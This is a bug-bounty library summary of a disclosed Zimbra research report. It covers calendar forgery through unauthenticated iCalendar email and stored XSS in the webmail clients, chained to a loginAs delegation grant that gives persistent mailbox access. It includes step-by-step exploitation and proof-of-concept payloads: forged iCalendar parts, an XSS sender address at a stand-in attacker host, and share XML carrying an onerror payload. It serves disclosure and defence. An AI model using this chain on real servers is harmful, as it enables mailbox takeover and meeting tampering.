# Untrusted Email to Browser Authority: Calendar Forgery and Stored XSS in Zimbra (Part 2)

Unauthenticated emailers forge Zimbra calendar events and trigger stored XSS in Classic/Modern clients, then grant loginAs delegation for persistent mailbox access.

- Payout: Research
- Severity: critical
- Program: Zimbra Collaboration Suite
- Found by (vendor credit): Jonah Burgess (CryptoCat), Senior Security Researcher, Rapid7
- Write-up by: Jonah Burgess
- Disclosed: 2026-12-02
- CVE: CVE-2026-93627, CVE-2026-93628, CVE-2026-93629, CVE-2026-93647, CVE-2026-93648, CVE-2026-93641, CVE-2026-93642, CVE-2026-50054
- Write-up quality: 9/10
- Original: https://www.rapid7.com/blog/post/ve-calendar-forgery-and-stored-xss-in-zimbra-part-2
- Library page: https://bugbountylibrary.com/r/blog%3Arapid7-com-blog-post-ve-calendar-forgery-and-stored-xss-in-zimbra-part-2
- Tags: area:web domain:web impact:ato impact:data-leak impact:integrity kind:research platform:threat-intel sev:critical tech:email technique:incomplete-fix technique:source-review vuln:access-control vuln:auth-bypass vuln:privilege-escalation vuln:xss

**Target:** Zimbra webmail clients (Classic/Modern) and LMTP calendar processing
**Root cause:** LMTP delivery passes a null authenticated account, so MailItem.hasFullPermission() grants full permission and organizer checks never verify the email sender; separately, client templates insert attacker-controlled sender/organizer/grantor fields into innerHTML without encoding.
**Steps:**
1. Send SMTP email with text/calendar part: `METHOD:CANCEL`, `ORGANIZER:mailto:ceo@target`, `UID:<copied from invitation>`, `STATUS:CANCELLED`, SEQUENCE >= stored.
2. Zimbra processes during delivery; authAccount is null so hasFullPermission() returns true and organizerChangeCheck only compares organizer string, not sender.
3. Victim's meeting moves to Trash without opening the email.
4. For RSVP forgery send `METHOD:REPLY` with `ATTENDEE;PARTSTAT=DECLINED:mailto:victim@target`; null sender skips attendee filter.
5. For phantom meeting send `METHOD:REQUEST` with fresh UID and another internal user as ORGANIZER; autoAddNew creates event with attacker content.
6. For COUNTER XSS use From `"<img src=x onerror=alert(document.domain)>"@attacker.example` with `METHOD:COUNTER`; Classic formats raw sender into banner innerHTML.
7. For share XSS send `xml/x-zimbra-share` MIME part with grantor email/name containing payload; Classic falls back to raw grantor email, Modern uses iframe srcdoc in grantor name.
8. From XSS, POST `/service/soap/GrantPermissionRequest` with `<ace right="loginAs" gt="usr" d="[email protected]"/>` to grant persistent delegation.
9. Authenticate as attacker and set SOAP context `<account by="name">[email protected]</account>` to read victim inbox.
**How found:** Code review of Message.processInvitesAfterCreate, CalendarItem.processNewInviteRequestOrCancel and Mailbox.addMessage revealed null authenticated account and null sender paths; traced client JS (MailCore_all.js, ZmFreeBusySchedulerView, ZmAcceptShareDialog, Modern module 52103) for unencoded innerHTML sinks; noticed GrantRights fix only patched one handler, then tested legacy GrantPermissionRequest.
**Exploitation:** Attacker emails forged iCalendar or share MIME parts to victims; calendar changes apply at delivery, XSS fires on message selection or Accept Share click. Payload reads CSRF token, issues SOAP requests as victim, then grants loginAs to attacker account via GrantPermissionRequest, giving persistent mailbox access with attacker's own credentials even after password change.
**Escalation:** XSS chained to GrantPermissionRequest loginAs grant (CVE-2026-137843) bypassing the GrantRightsRequest fix, persisting access beyond session and password reset; internal SMTP account enables SPF/DKIM/DMARC-passing From spoofing.
**Insight:** When a permission check takes an authenticated account from an operation context, check whether the delivery path (LMTP, queue, async) ever populates it — a null principal often means 'allow'. Also, when a vendor patches one SOAP handler, enumerate sibling handlers with independently implemented ACE parsers for the same right.

## Proof of concept (copied exactly from the original report)

**Forged iCalendar CANCEL for existing meeting**

```
METHOD:CANCEL
ORGANIZER:mailto:[email protected]
UID:2c9afdc6-da99-4ca0-9c69-4ae35bf13aa4
STATUS:CANCELLED
```

**COUNTER sender address XSS payload**

```
From: "<img src=x onerror=alert(document.domain)>"@attacker.example
METHOD:COUNTER
UID:CALADDRESS-COUNTER-DEMO
ORGANIZER:mailto:[email protected]
ATTENDEE;PARTSTAT=TENTATIVE:mailto:%22%3Cimg%20src%3Dx%20onerror%3Dalert%28
 document.domain%29%3E%[email protected]
```

**Forged share XML with grantor email XSS**

```
<share xmlns="urn:zimbraShare" version="0.2" action="new">
  <grantee id="fc8d2fb6-0a08-4537-944c-0c81c92bc69f" email="[email protected]" name="Recipient"/>
  <grantor id="9f1c2ec3-891a-47fb-b7ec-66ab388c6487" email="&lt;img src=x onerror=alert(document.domain)&gt;@attacker.example" name=""/>
  <link id="1" name="Shared Documents" view="message" perm="r"/>
</share>
```

